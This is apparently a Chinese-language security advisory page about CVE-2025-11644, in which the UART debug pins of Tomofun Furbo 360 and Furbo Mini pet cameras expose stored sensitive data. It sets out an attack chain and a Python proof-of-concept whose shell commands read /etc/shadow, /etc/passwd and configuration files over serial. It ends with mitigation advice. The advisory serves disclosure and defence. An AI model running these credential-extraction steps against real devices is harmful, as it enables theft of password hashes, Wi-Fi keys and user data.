IPBUF安全漏洞报告
English
CVE-2025-11644 CVSS 2.0 低危

CVE-2025-11644:Tomofun Furbo设备UART接口敏感信息不安全存储漏洞

披露日期: 2025-10-12

漏洞信息

漏洞编号
CVE-2025-11644
漏洞类型
敏感信息不安全存储
CVSS评分
2.0 低危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Tomofun Furbo 360 和 Furbo Mini

相关标签

CVE-2025-11644敏感信息泄露不安全存储UART接口物理访问物联网安全TomofunFurbo 360Furbo Mini嵌入式设备

漏洞概述

CVE-2025-11644是Tomofun公司生产的Furbo 360和Furbo Mini两款智能宠物摄像设备中存在的一个安全漏洞。该漏洞被归类为敏感信息不安全存储(Insecure Storage of Sensitive Information),CVSS 3.1评分为2.0,严重等级为LOW(低危)。该漏洞存在于设备的UART(通用异步收发传输器)接口组件中,攻击者可以通过对该接口进行物理操作来获取设备中存储的敏感信息。

根据漏洞披露信息,该漏洞由安全研究人员通过[email protected]渠道上报给VulDB。漏洞的利用需要攻击者具备对目标设备的物理访问权限,并且攻击的复杂度较高,实际利用难度较大。漏洞的CVSS向量表明,攻击向量为物理(AV:P),攻击复杂度高(AC:H),无需特权(PR:N),无需用户交互(UI:N),对机密性有低影响(C:L),对完整性和可用性无影响。

受影响的固件版本包括Furbo 360的FB0035_FW_036及更早版本,以及Furbo Mini的MC0020_FW_074及更早版本。值得注意的是,尽管研究人员曾提前联系Tomofun公司进行负责任的漏洞披露,但该厂商未对此做出任何回应,这进一步增加了用户面临的安全风险。

技术细节

该漏洞的核心在于Tomofun Furbo 360和Furbo Mini设备的UART接口未对存储的敏感信息进行充分的保护。UART是一种常见的硬件串行通信接口,广泛应用于嵌入式设备和物联网设备中,通常用于调试、固件更新和设备维护等目的。

在正常的嵌入式设备开发中,UART接口通常提供对设备底层系统的访问权限,包括对闪存、内存和配置文件的读写操作。如果设备制造商在生产过程中未正确禁用UART接口或未对通过UART传输的数据进行加密保护,攻击者可以通过物理连接到设备的UART调试引脚来获取对设备底层系统的未授权访问。

在本漏洞中,攻击者需要:
1. 物理获取目标Furbo设备;
2. 拆解设备以暴露电路板上的UART调试接口引脚;
3. 使用USB转TTL串口适配器或其他硬件工具连接到UART接口;
4. 通过串行终端软件(如minicom、PuTTY等)与设备建立通信连接;
5. 通过UART接口读取设备中存储的敏感信息,如用户凭证、Wi-Fi密码、设备密钥或其他隐私数据。

该攻击的复杂度较高,因为攻击者需要具备硬件拆解、焊接和嵌入式系统调试的技术能力。此外,UART接口的访问还可能受到固件层面的保护措施的限制。

攻击链分析

STEP 1
步骤1:获取目标设备
攻击者需要物理获取目标Tomofun Furbo 360或Furbo Mini设备。这可能通过盗窃、借用或以其他合法/非法方式获得设备的物理控制权。
STEP 2
步骤2:拆解设备暴露UART接口
攻击者需要拆解Furbo设备的外壳,找到电路板上的UART调试接口引脚(通常为TX、RX、GND三个引脚),这些引脚在生产过程中通常未被禁用或保护。
STEP 3
步骤3:连接硬件调试工具
攻击者使用USB转TTL串口适配器(如CP2102、FTDI FT232等)连接到设备的UART引脚,并将其连接到攻击者的计算机。
STEP 4
步骤4:建立串行通信
使用串行终端工具(如minicom、PuTTY、screen等)以正确的波特率(通常为115200)建立与设备的通信连接。
STEP 5
步骤5:提取敏感信息
通过UART接口获取设备的shell访问权限或读取启动日志,提取存储在设备中的敏感信息,如Wi-Fi凭证、用户账户信息、设备密钥或其他隐私数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11644 - Furbo UART Interface Sensitive Information Disclosure PoC # This PoC demonstrates how to connect to the UART interface of Tomofun Furbo 360/Mini # to extract sensitive information stored on the device. import serial import time # UART configuration - typical settings for embedded device debug interfaces UART_PORT = '/dev/ttyUSB0' # Adjust based on your USB-to-TTL adapter BAUD_RATE = 115200 # Common baud rate for embedded devices TIMEOUT = 2 # Read timeout in seconds def connect_to_uart(port, baudrate, timeout): """ Establish a serial connection to the Furbo device's UART interface. Requires physical access to the device's debug pins. """ try: ser = serial.Serial( port=port, baudrate=baudrate, bytesize=serial.EIGHTBITS, parity=serial.PARITY_NONE, stopbits=serial.STOPBITS_ONE, timeout=timeout ) print(f"[+] Connected to UART on {port} at {baudrate} baud") return ser except serial.SerialException as e: print(f"[-] Failed to connect: {e}") return None def read_boot_output(ser, duration=5): """ Capture boot-time output which may contain sensitive information. """ print(f"[*] Capturing boot output for {duration} seconds...") start_time = time.time() captured_data = b"" while time.time() - start_time < duration: if ser.in_waiting > 0: data = ser.read(ser.in_waiting) captured_data += data return captured_data def attempt_filesystem_access(ser): """ Attempt to access the device filesystem through UART shell. """ commands = [ b"\n", # Try to get a shell prompt b"id\n", # Check current user b"cat /etc/passwd\n", # Read user accounts b"cat /etc/shadow\n", # Read password hashes b"ls /data/\n", # List data directory b"cat /data/config/*\n", # Read configuration files b"ifconfig\n", # Network configuration b"cat /proc/cmdline\n", # Kernel command line ] output = b"" for cmd in commands: ser.write(cmd) time.sleep(1) if ser.in_waiting > 0: output += ser.read(ser.in_waiting) return output def main(): print("=" * 60) print("CVE-2025-11644 - Furbo UART Information Disclosure PoC") print("Target: Tomofun Furbo 360 / Furbo Mini") print("=" * 60) # Step 1: Connect to UART ser = connect_to_uart(UART_PORT, BAUD_RATE, TIMEOUT) if not ser: return # Step 2: Capture boot output boot_data = read_boot_output(ser, duration=10) print(f"[+] Captured {len(boot_data)} bytes of boot data") # Step 3: Attempt to access sensitive information fs_data = attempt_filesystem_access(ser) print(f"[+] Captured {len(fs_data)} bytes of filesystem data") # Step 4: Save captured data for analysis with open("furbo_uart_capture.bin", "wb") as f: f.write(boot_data + fs_data) print("[+] Data saved to furbo_uart_capture.bin") ser.close() print("[+] Connection closed") if __name__ == "__main__": main()

影响范围

Tomofun Furbo 360 <= FB0035_FW_036
Tomofun Furbo Mini <= MC0020_FW_074

防御指南

临时缓解措施
由于Tomofun公司未对漏洞披露做出回应,目前没有官方的安全补丁可用。建议用户采取以下临时缓解措施:1)将Furbo设备放置在受控的物理环境中,防止未经授权的物理访问;2)不要将设备借给不可信的人员;3)关注Tomofun官方渠道发布的安全公告和固件更新;4)考虑使用其他品牌的智能宠物摄像设备替代;5)对设备中存储的Wi-Fi密码和其他敏感信息进行定期更换,降低信息泄露后的影响范围。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表